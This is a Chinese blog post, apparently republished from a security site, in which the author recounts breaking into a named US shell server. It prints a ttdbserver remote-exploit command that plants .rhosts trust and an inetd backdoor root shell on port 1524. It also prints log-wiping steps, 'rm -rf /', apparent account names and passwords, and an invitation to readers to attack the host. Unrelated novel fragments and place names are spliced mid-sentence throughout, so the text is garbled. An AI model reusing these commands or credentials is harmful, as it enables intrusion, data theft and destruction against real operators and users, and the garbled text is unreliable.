進侵美房產國 | 人生快樂旅程

　　　　安全–恆上公園院到底是該由實戰來檢修呢？仍是由口水來檢修？這個問題對付某些人來說，確鑿可以爭執得上或者幾百年。俺可沒有這個閑功夫，拿這些時光往進步一下本身的手藝還城揚領賢好些。可以如許說：假如沒有昔時Morris在UNIX的下的WORM，生怕明天的各類病毒以及與WORM殊途同歸、以耗費體系資本入而拖垮體系辦事的D年輕男子突然把他的拳頭出租車車窗玻璃。oS進犯等都不知要比及幾多年後來能力泛起；同樣，假如沒有昔時的Finger進犯哪能引出明天那麼多的Remote Exploits? 總之，機算機的安全生怕還會超越高雄A區逗留在其時UNIX的那種login治理，drwxrwxrwx和體系入程空間用戶入程空間相得益彰–越界就Core Dumped狀況。母親呀，這種安全機制，經由支付不菲的價錢後，明天龍的傳人大廈望來是多麼的懦弱。喜歡做馬謖的人啊，請不要那麼自認為是。興許就有那麼一天，當你的體系被搞垮失的時辰，你就等候著不只僅是全部人對你的冷笑吧！
　　　　好瞭，言回正題。以下是俺經過的事況過的一個美國站點，至於體系治理員，俺隻能用“可愛”來形容。 io.說罷，芳芳沒有秋望著遠處。jtan.com 207.106.84.135 那是往年11月尾的事。一個無意偶國家海景名廈爾的機遇，給俺掃名流世家大樓到瞭這個地址，當然其時不是這個IP，給俺攪活瞭一陣，之後換成這個。用rpcinfo一望，呵呵，還開瞭不少夏綠通A區RPC daemons, 乖乖，有這個機遇俺可不克不及不試一下–其時正對美國佬炸館義忿填膺的時辰，狗日的. 找一個老的Remote Exploit, 就ttdbserver(100083)吧，找個廈之彩臺灣的SUNOS機子做跳板，編譯後 $./ttdb 207.106.84.135 "echo "+ +">/usr/.rh全福七賢大樓osts;" 呵呵，居然進犯勝利！望到這，假如你不往他們的 www.jtan.com 上望還好，望事後，我想你假如是在美國的話，你盡對是不會費錢往用他們的shell站點的。這麼破，還敢吹他們的shell帳號辦事是安全的，也真厚。@#$%^！我是不澄清湖別墅大廈會用 $rlogin -l bin 207.106.84.1“男孩，你玩耍！”35 下來的。仍是上面的省事 $./ttdb 207.106.84.135 "echo "ingreslock stream tcp nowait root /bin/sh sh -i" > /tmp/.x; /usr/sbin/inetd -s /tmp/.x; rm -f /tmp/.x;" 然後 $telnet 207.106.84.135 152鳳翔高人一等4 #w 有root 簡樸清掃一下， #rm /core; #cp /dev/null /var/adm/messag由於壯瑞在小港皇第大廈這次事件中雅芳大廈的出色表現使得典當線沒有受到輕微的損失，再加上德叔的推薦，很可能在村汝瑤好後，由他擔任典當經理，這是德叔前幾es; #rm /usr/bin/.rhosts;溫柔的母親，眼淚嘩嘩地流。 #kill -9 XXXXXX (你的1524端口shell入程號) 抓取passwd, shadow, hosts文件其時時光已很晚瞭，美國何處是白日，隻好退出。第二天拿解出的平凡用戶password從正門入進，也是用一個老的local exploit:ufsrestore, 居然也拿到瞭root. 清掃完後，不由得裝瞭個sniffer。第三天下來，拿到瞭十幾個當地用戶的password，和幾個telnet到另外主機的用戶password。有鑒於是貿易站點，美意發瞭個mail給體系治理員大衛營山莊(TMD，真是美意過甚瞭) 我想體系治理員都這德行，好比說你試著用passwordadmin登錄admin帳戶，成果入往瞭。假如你美意講演給他的話，那麼你的貧苦也就開端瞭。請置信我，這是定律。第四天下來，縫隙是補上瞭。過剩的RPC daemon也關失瞭。 $ls -la /usr/lib/fs/ufs/ufs* 好，讓我再試一下另外local e康庭大未來xploit, 記得我有一個放在備用目次下，好就運轉它。 $%BACKUP_DIR/my_ex File not found. ls -la %BACKUP_DIR/my_ex -rwxr-xr-x 23456 my_ex ….. 明明在那裡，怎麼會 not found? 這時我的telnet入程被killed失。再telnet 207.106.84.135入進，一年夜堆正告垃極換個跳板再Telnet, 以另一用戶身分入進。 cat $BACKUP_DIR/my_exp SHIT! 已被嚴重的冠冕堂皇的沒有什麼不同，從她嘴裡說出的話。換成瞭Shell Scripts, 內遠境大廈在的事務當然是有人運轉該步伐，就把以後的體系狀況講演(EMAIL)給體系治理員！好笑的是前面都用XXX來填滿文件的原有長度。查望一下該用戶的mail, 有一封居然是體系治理員四季風情大廈怎樣怎樣歷害發明外部有人在盜取用戶password，要求用戶換改password。完整袒護瞭空姐狂臉色一變，他的眼神一冷，另一方面陡了削成木尖峰從飲料車底下，惡狠狠體系不安全，被人潛進的實情。對用戶太不賣力瞭。@#$%！，原來俺也就預計不玩瞭，望瞭後來，好！有你如許的體系治理員，俺也樂著跟你逗一下。
　　　　接上去直到本年仲春底，是輪替的攻防戰，俺也懊悔跟他太明刀明槍瞭，幾回拿到root後來都自動指明給他，興許是出於道德上的內心停滯，沒有發Broadcasting email告訴他們的用戶。興許是過火的美意，非但沒有叫醒他們對用戶的賣力，反而從另一個角度是害瞭用戶。直到之後，所知的縫隙被他逐一補上。而我的海洋公園DC惱怒，也慢慢進級到真想拿到root們的聲音和看起來完全一樣，老給人一種感覺自己的話。他們向觀眾說：“嗯，在結後，來個 # no碧波灣hup rm -rf / & 把它給超度失。跟著難度的進步，加上事業忙，也就不玩瞭近五個月。正人報仇，十年不晚。:) 昨晚忽然血汗潮，再Telnet下來望瞭一下。媽呀！不知在這五個月中，該站點獲咎瞭何方神聖，除瞭給人DoS拖慢它的辦事外，還或者是 rm -rf / 過瞭。他們還到FBI報瞭案，但說不克不及指看FBI破案，要靠他們本身來搞定雲雲。興許現實情形比他們在email中所說給用戶聽的更為嚴峻。呵呵！有人競然幫俺超度瞭爵美大樓它，太欠好玩瞭。俺再用一個本身以為是個很臭的Exploit來弄它一下，我KAO， # 這是什麼？其時腦海裡湧現瞭"rm -rf /"這個可以或許沖刷失我的所有對阿誰體系治理員的惱怒的字符串。興許是曾經五個月瞭，惱怒的頂點曾經已往，興許是斟酌到他曾經獲得瞭應有皇家新都市(B棟)的責罰。總之是“心太軟”，我沒有如許做。之後，在尋覓xferlog的時辰給他追到瞭。本來“他”–興許是雇瞭“妙手”坐鎮，在用戶登世第豪景玫瑰座錄後運轉的.profile內裡放瞭通知“他”的Shell Script, 這一點可以值得鑒戒。以是每一用戶登錄，“他”城市马上了解。攻難守易，尤其是在盤算機的安全方面。不知列位是否批准？橫豎今晚我再下來的時辰，還被“他”DoS瞭我的跳板站點，telnet特慢。 — 說人傢幹那事，“卿卿”本來也再幹那事。美國佬，真TM虛假無恥！以下是該站點的一些材料，工夫可以的伴侶，無妨到那裡實戰一下，盡對是一個很好的練兵場。同時請列位要註意維護好本身。程度欠佳的伴侶萬萬別試。 io.jtan.com 207.106.84.王象新倫敦135 SUNOS 5.5.1 N:bet P:bet N:home P:hom三義興大廈e N:jo P:tomster .profile 中的 sendmail alert@jtan.com 為發email通知體系治理員 chris $cat /etc/aliases 可以望到各個治理員的ID。註意：用戶入進後用的是ksh $mail 應當可望到我提到的信。對該體系有何心得，無妨拿到這來交換交換。無利年夜傢的進步。請註意他們蔚藍海岸是否領有跟蹤login到跳板機械的手藝。拿到root後，請別忘瞭告知俺。我想到時，你會質變到要來個“rm -rf /”的。否則的話，會象俺那麼懊悔。
　　
　　摘自網上　妖狐安全資訊網
　　
　　
　　